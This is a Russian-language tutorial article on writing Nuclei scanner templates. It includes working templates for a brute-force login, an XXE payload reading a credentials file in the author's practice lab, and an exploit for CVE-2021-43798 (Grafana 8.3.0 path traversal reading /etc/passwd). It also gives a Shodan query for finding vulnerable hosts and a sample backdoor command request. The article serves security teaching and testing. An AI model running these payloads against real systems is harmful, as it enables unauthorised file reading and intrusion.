Приветствую тебя, уважаемый читатель. В данной статье изучим nuclei, исследуем его возможности и рассмотрим, как создавать кастомные шаблоны для эффективного тестирования безопасности веб-приложений.

Содержание

  1. Базовый синтаксис:

    • Введение в синтаксис nuclei.

    • Примеры кода для лучшего понимания.

  2. Пример сканера для проверки работы лаборатории

    • Шаги, необходимые для выполнения работы.

    • Подробный пример с пошаговым объяснением кода.

  3. Написание темплейта для уязвимости (CVE):

    • Детали процесса написания темплейта.

    • Пример темплейта для определенной уязвимости CVE.

  4. Заключение

Базовый синтаксис

Итак, для корректной работы Nuclei необходимо следующее:

  1. Расширение .yaml

    Каждый шаблон обязан иметь расширение .yaml

  2. ID:

    Каждый шаблон должен обязательно иметь уникальный идентификатор, именно с него и должен начинаться шаблон. Кроме того, идентификатор не должен содержать пробелов.

id: first_template
  1. Информация о шаблоне

    Для каждого шаблона обязательными являются поля "author", "name" и "severity", однако так же рекомендуется добавить подробное описание, ссылки и теги, чтобы легче было понять его назначение и функциональность.

info:
  name: First template
  author: SidneyJob
  severity: high
  description: My first nuclei template for my article 
  reference: https://sidneyjob.ru
  tags: first,cve,learn,nuclei
  1. Запросы:

    Чтобы взаимодействовать с веб-приложением, в шаблоне необходимо указать по крайней мере один запрос. В запросе определяются метод, путь, заголовки, тело запроса и другие параметры. Начинаются запросы в шаблоне с помощью поля http:

http:

Далее, нам необходимо определить метод, по которому будет происходить взаимодействие с сайтом. Метод запроса может быть GET, POST, PUT, DELETE и т. д. в зависимости от потребностей.

method: GET

Путь указывается с помощью поля "path". Пример запроса, используя который nulcei будет отправлять запрос к файлу "secret_file_for_sove_cve.txt"

http:
  method: GET
  path:
    - "{{BaseURL}}/secret_file_for_sove_cve.txt"

Вместо ссылки я указал {{BaseURL}} — это динамические переменные, которые могут быть помещены в путь, чтобы изменить его поведение во время выполнения. Переменные начинаются с "{{" и заканчиваются на "}}" и чувствительны к регистру.

Примеры динамических переменных:

{{BaseURL}} — заменит во время выполнения в запросе входной URL-адрес, указанный в целевом файле.

{{RootURL}} — заменит во время выполнения в запросе корневой URL-адрес, указанный в целевом файле.

{{Hostname}} — переменная имени хоста заменяется именем хоста, включая порт цели во время выполнения.

{{Host}} — заменит во время выполнения в запросе входной хост, как указано в целевом файле.

{{Port}} — время выполнения в запросе будет заменен входной порт, указанный в целевом файле.

{{Path}} — во время выполнения в запросе будет заменен входной путь, указанный в целевом файле.

{{File}} — заменит во время выполнения в запросе имя входного файла, указанное в целевом файле. 

{{Scheme}} — во время выполнения в запросе будет заменена схема протокола, указанная в целевом файле.

Переменная

Значение

{{BaseURL}}

https://example.com:443/foo/bar.php

{{RootURL}}

https://example.com:443

{{Hostname}}

example.com:443

{{Host}}

example.com

{{Port}}

443

{{Path}}

/foo

{{File}}

bar.php

{{Scheme}}

https

Другим способом создания запроса является использование необработанных запросов (RAW), которые обеспечивают большую гибкость

http:
  - raw:
    - |
        POST /some_path_for_cve/backdoor.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=SidneyJob&cmd=ls%20-la

Формат запроса RAW также поддерживает различные вспомогательные функции,
позволяющие нам манипулировать входными данными во время выполнения.

Пример использования вспомогательной функции.

http:
  - raw:
      - |
        GET /admin/some_private_page HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64('username:password')}}

Вы можете найти полный список всех вспомогательных функций на официальном сайте или в моем телеграм-канале в формате PDF-файла.

  1. Проверка (Matchers):

    Проверки используются для определения соответствия ответов на запросы определенным критериям. Например, можно проверить наличие определенной строки в ответе сервера или определенный HTTP-код ответа.

Всего есть 6 типов проверок:

Тип сопоставления

Нужен для

status

Проверки ответа по статусу ответа

size

Проверки ответа по длине ответа

word

Проверки ответа по вхождению в него заданного слова

regex

Проверки ответа с помощью регулярных выражений

binary

Проверки ответа, который закодирован в hex

dsl

Создания более сложных выражений с помощью вспомогательных функций.

Давайте создадим шаблон, который будет искать файл cve_proof.txt в корне веб-сайта.

id: first_template

info:
  name: First template
  author: SidneyJob
  severity: high
  description: My first nuclei template for my article 
  reference: https://sidneyjob.ru
  tags: first,cve,learn,nuclei


http:
  - method: GET
    path:
      - "{{BaseURL}}/cve_proof.txt"

    matchers:
      - type: status
        status:
          - 200

Как читать данный шаблон?

Этот шаблон называется "first_template" и является первым шаблоном, созданным автором SidneyJob. Он имеет высокую степень серьезности и используется для статьи автора. Все подробности и ссылки можно найти на сайте SidneyJob.ru. Шаблон также имеет теги: first, cve, learn, nuclei, которые помогут сортировать и находить его.

Описание работы шаблона построчно:

  1. Объявление раздела "http".

  2. Указание метода запроса "GET".

  3. Указание пути, по которому будет осуществляться поиск файла. В данном случае - "{{BaseURL}}/cve_proof.txt". Здесь "{{BaseURL}}" является переменной, которая будет заменена на актуальный URL во время выполнения шаблона.

  4. Определение матчеров (сопоставителей), используемых для проверки ответного кода сервера.

  5. Определение типа матчера "status" (код состояния).

  6. Указание ожидаемого статуса сервера "200" - успех.

Таким образом данный шаблон отправляет GET-запрос к указанному пути на веб-сайте, заменяя переменную "{{BaseURL}}" на актуальный URL. Затем он проверяет ответный статус код - если код состояния сервера равен 200, то считается, что файл cve_proof.txt найден.

Результат работы nuclei
Результат работы nuclei

Пример сканера для проверки работы лаборатории

У нас есть лаборатория, которую мы создали с моим коллегой, чтобы предоставить возможность практиковать свои навыки в тестировании веб-приложений. Однако, каждый раз вручную проверять все задания после обновлений является неэффективным подходом. Поэтому я предлагаю вам написать собственные шаблоны, которые автоматически проверят корректность работы. Такой подход поможет нам не только автоматизировать процесс проверки, но и отточить ваши навыки в написании шаблонов.

Я рекомендую вам сначала выполнить задание в лаборатории (еще некоторое время будет хоститься здесь), а затем написать шаблон для автоматической эксплуатации обнаруженной уязвимости. Такой подход позволит вам извлечь максимальную пользу из данной лаборатории.

Совместно с вами мы рассмотрим два шаблона для задания на уязвимость POST-брутфорс, а также задание на XXE.

Начнем с задания на POST-брутфорс

id: post_brute

info:
  name: Check SidneyJob and cherepawwka lab
  author: SidneyJob
  severity: low
  description: Check correct post_brute 

http:
  - raw:
    - |
      GET / HTTP/2
      Host: {{Hostname}}
      
    - |
      POST /postbrute HTTP/2
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded
      
      username={{username}}&password={{password}}
    
    payloads:
      username: ./pass
      password: ./pass
    
    cookie-reuse: true
    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "flag{"
      
    attack: clusterbomb
  1. id: post_brute: Здесь указывается уникальный идентификатор для шаблона, равный "post_brute".

  2. info:: Этот раздел предоставляет общую информацию о шаблоне.

    • name: Check SidneyJob and cherepawwka lab: Название шаблона, указывающее на его цель - проверка лаборатории SidneyJob и cherepawwka.

    • author: SidneyJob: Указывается автор шаблона.

    • severity: low: Дает представление о уровне серьезности связанной с этим шаблоном уязвимости.

    • description: Check correct post_brute: Краткое описание того, что делает шаблон, а именно проверку правильности post_brute.

  3. http:: В этом разделе определяются HTTP-запросы, которые будут отправлены во время сканирования.

    • raw:: Указывается использование необработанного формата HTTP-запроса.

    • - |: Обозначает многострочный синтаксис YAML.

    • GET / HTTP/2: Представляет первый HTTP-запрос, который является GET-запросом к корневому пути ("/") с использованием протокола HTTP/2.

    • Host: {{Hostname}}: Используется заполнитель ({{Hostname}}), который будет заменен фактическим именем хоста во время выполнения.

    • POST HTTP/2: Представляет второй HTTP-запрос, который является POST-запросом с использованием протокола HTTP/2.

    • Content-Type: application/x-www-form-urlencoded: Указывает тип содержимого полезной нагрузки POST-запроса.

    • username={{username}}&password={{password}}: Определяет данные формы для полезной нагрузки POST-запроса, где {{username}} и {{password}} являются заполнителями.

  4. payloads:: Здесь указываются полезные нагрузки, которые будут использоваться для шаблона.

    • username: ./pass: Означает, что данная полезная нагрузка будет извлекаться из локального файла.

    • password: ./pass: Означает, что данная полезная нагрузка будет извлекаться из локального файла.

  5. cookie-reuse: true: Позволяет Nuclei повторно использовать куки в различных запросах.

  6. stop-at-first-match: true: Указывает Nuclei прекратить сканирование дальше, если найдено соответствие.

  7. matchers:: Определяются механизмы поиска определенных шаблонов в ответе.

    • - type: word: Указывается тип механизма поиска, который в данном случае является "word" для поиска определенных слов.

    • part: body: Означает, что механизм поиска должен искать указанные слова в теле ответа.

    • words: - "flag{": Указывается список слов, которые необходимо найти в теле ответа. В данном случае ищется слово "flag{".

  8. attack: clusterbomb: Настраивает тип атаки для данного шаблона, который в данном случае является "clusterbomb" для отправки нескольких запросов параллельно.

Пояснение к 3-ему пункту: В данном разделе представлены два HTTP-запроса. Причина для этого связана с особенностями архитектуры лаборатории. Пока пользователю не присвоены cookie, сайт будет перенаправлять его на главную страницу. Чтобы использовать присвоенные нам cookie в первом запросе, мы воспользовались возможностью, указанной в 5-ом пункте: cookie-reuse: true. Таким образом, мы можем повторно использовать куки во втором запросе, что позволяет нам получить доступ к определенным функциональностям сайта и провести дополнительные проверки на наличие уязвимостей.

Перейдем к заданию на эксплуатацию XXE

id: xxe

info:
  name: Check SidneyJob and cherepawwka lab
  author: SidneyJob
  severity: low
  description: Check correct xxe page

http:
  - raw:
    - |
      GET / HTTP/2
      Host: {{Hostname}}

    - |
      POST /doLogin HTTP/2
      Host: {{Hostname}}
      Content-Type: application/xml;charset=utf-8

      <?xml version="1.0" standalone="yes"?>
      <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///app/creds.txt" > ]>
      <user>
      <username>&xxe;</username><password>f</password></user>


    cookie-reuse: true
    matchers:
      - type: word
        part: body
        words:
          - "My uncrackable creds"
  1. id: xxe: Эта строка присваивает шаблону идентификатор "xxe".

  2. info: Этот блок содержит общую информацию о шаблоне.

    • name: Check SidneyJob and cherepawwka lab: Эта строка указывает название шаблона, которое является "Check SidneyJob and cherepawwka lab".

    • author: SidneyJob: Эта строка указывает автора шаблона, который является "SidneyJob".

    • severity: low: Эта строка указывает уровень серьезности шаблона, который является "низким".

    • description: Check correct xxe page: Эта строка предоставляет краткое описание того, что проверяет шаблон, а именно "Проверяет правильность xxe-страницы".

  3. http:: Эта строка начинает секцию HTTP-запросов шаблона, где определяются сами запросы и ответы.

    • raw:: Эта строка указывает, что мы используем непосредственные (raw) HTTP-запросы в данном шаблоне.

      • GET / HTTP/2: Это первый непосредственный (raw) HTTP-запрос типа GET. Он извлекает корневую страницу ("/") с использованием протокола HTTP/2.

        • Host: {{Hostname}}: Эта строка использует заполнитель "{{Hostname}}", который будет заменен на фактическое имя хоста во время выполнения шаблона.

      • POST HTTP/2: Это второй непосредственный (raw) HTTP-запрос типа POST. Он отправляет XML-данные на сервер.

        • Host: {{Hostname}}: Аналогично предыдущему запросу, эта строка использует заполнитель "{{Hostname}}".

        • Content-Type: application/xml;charset=utf-8: Эта строка указывает тип контента запроса как XML с кодировкой UTF-8.

        • Следующие строки содержат XML-данные. Они устанавливают имя пользователя в виде XML-сущности с именем "xxe" и включают ссылку на файл на сервере ("file:///app/creds.txt") для значения "xxe". Также устанавливается пароль на "f".

    • cookie-reuse: true: Эта строка указывает, что шаблон должен повторно использовать полученные куки во время выполнения запросов.

  4. matchers:: Этот блок определяет сопоставители ответов для проверки, являются ли выполнены определенные условия.

    • - type: word: Эта строка указывает тип сопоставителя, который является "словом".

    • - part: body: Эта строка указывает, что сопоставление должно выполняться в теле ответа.

    • - words: Эта строка содержит список слов, которые должны присутствовать в теле ответа для успешного сопоставления. В данном случае ожидается наличие слова "My uncrackable creds".

Написание темплейта для уязвимости (CVE):

Предполагаю, что к настоящему моменту вы уже понимаете принцип создания шаблонов для nuclei. Однако, перед тем как закончим, давайте напишем шаблон для какой-нибудь уязвимости. Для нашего примера я выбрал CVE-2021-43798 (Grafana 8.3.0 - Directory Traversal and Arbitrary File Read). Мы с вами создадим шаблон Nuclei, чтобы искать именно эту уязвимость.

Давайте начнем с поиска контейнера с уязвимой версией Grafana на Docker Hub и запуска его. Выполним следующую команду:

docker pull grafana/grafana:8.3.0
docker run -p 80:3000 --name getsimple --rm grafana/grafana:8.3.0

Теперь уязвимая версия Grafana доступа по ссылке http://127.0.0.1 и можно приступать к тестированию и настройке нашего шаблона.

Начнем с оформления части с информацией

id: grafana830
#Это идентификатор шаблона, который помогает уникально идентифицировать эту уязвимость.

info:
#В этом блоке содержится информация о шаблоне, такая как название, автор, уровень серьезности и описание.

  name: Template for find CVE-2021-43798
  #Здесь указывается название шаблона, которое описывает его цель - поиск уязвимости CVE-2021-43798.
  
  author: SidneyJob
  #Это имя автора шаблона.
  
  severity: high
  #Уровень серьезности уязвимости указывается как "high" (высокий).
  
  description: Directory Traversal and Arbitrary File Read in Grafana version 8.3.0
  #Здесь предоставляется описание уязвимости, в данном случае, она связана с произвольным чтением и обходом директорий в Grafana версии 8.3.0.
  
  reference: https://sidneyjob.ru, https://www.exploit-db.com/exploits/50581
  #Предоставляются ссылки на дополнительные ресурсы, где можно узнать больше об уязвимости или найти эксплоиты.
  
  tags: DT,fileread,grafana
  #Здесь перечисляются теги для данного шаблона, которые помогают классифицировать его и упрощают поиск.

  metadata:
  #В блоке metadata содержится метаданные шаблона, которые помогают в поиске уязвимостей.
    shodan-query: 'vuln:CVE-2021-43798'
    #В этом случае, используется Shodan запрос 'vuln:CVE-2021-43798', чтобы найти уязвимые устройства, связанные с CVE-2021-43798.

Давайте воспользуемся публичным эксплоитом для получения всех доступных плагинов и используем вспомогательную функцию repeat.

    payloads:
      passwd_file:
        - '{{repeat("../", 10)}}'
      plugins:
        - alertlist
        - annolist
        - barchart
        - bargauge
        - candlestick
        - cloudwatch
        - dashlist
        - elasticsearch
        - gauge
        - geomap
        - gettingstarted
        - grafana        
        - azure        
        - monitor       
        - datasource
        - graph
        - heatmap
        - histogram
        - influxdb
        - jaeger
        - logs
        - loki
        - mssql
        - mysql
        - news
        - nodeGraph
        - opentsdb
        - piechart
        - pluginlist
        - postgres
        - prometheus
        - stackdriver
        - stat
        - state       
        - timeline
        - status       
        - histor
        - table
        - table       
        - old
        - tempo
        - testdata
        - text
        - timeseries
        - welcome
        - zipkin

Дополнительно мы добавим два параметра:
attack: clusterbomb
stop-at-first-match: true

Первый параметр attack: clusterbomb будет позволять перебирать все возможные варианты плагинов, а второй параметр stop-at-first-match: true позволит прекратить поиск, как только будет найден первый успешный плагин.

Ну и напоследок нам нужно добавить в шаблон проверку, чтобы убедиться что эксплоит отработал успешно

    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"
        part: body

Финальный вид шаблона:

id: grafana_8_3_0

info:
  name: Template for find CVE-2021-43798 
  author: SidneyJob
  severity: high
  description:  Directory Traversal and Arbitrary File Read in Grafana version 8.3.0
  reference: https://sidneyjob.ru, https://www.exploit-db.com/exploits/50581
  tags: DT,file_read,grafana
  metadata:
    shodan-query: 'vuln:CVE-2021-43798'

http:
  - method: GET
    path:
      - "{{BaseURL}}/public/plugins/{{plugins}}/{{passwd_file}}etc/passwd"
    
    attack: clusterbomb
    stop-at-first-match: true

    payloads:
      passwd_file:
        - '{{repeat("../", 10)}}'
      plugins:
        - alertlist
        - annolist
        - barchart
        - bargauge
        - candlestick
        - cloudwatch
        - dashlist
        - elasticsearch
        - gauge
        - geomap
        - gettingstarted
        - grafana        
        - azure        
        - monitor       
        - datasource
        - graph
        - heatmap
        - histogram
        - influxdb
        - jaeger
        - logs
        - loki
        - mssql
        - mysql
        - news
        - nodeGraph
        - opentsdb
        - piechart
        - pluginlist
        - postgres
        - prometheus
        - stackdriver
        - stat
        - state       
        - timeline
        - status       
        - histor
        - table
        - table       
        - old
        - tempo
        - testdata
        - text
        - timeseries
        - welcome
        - zipkin

    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"
        part: body
Скрин успешной работы nuclei
Скрин успешной работы nuclei

Заключение

В заключение, использование шаблонов nuclei для тестирования веб-приложений является мощным инструментом, способствующим повышению качества и надежности разрабатываемых веб-приложений. Шаблоны nuclei предоставляют эффективный способ тестирования веб-приложений, позволяя создавать реалистичные и масштабируемые сценарии использования.

Призываю Вас к дальнейшему изучению и применению полученных знаний, чтобы достичь более высокого уровня автоматизации и эффективности в процессе тестирования приложений.

Хотелось бы выразить искреннюю благодарность всем читателям за то, что вы уделили время на прочтение этой статьи. Я надеюсь, что представленная информация о создании шаблонов nuclei была полезной и информативной для вас.

С уважением, @SidneyJob

Комментарии (0)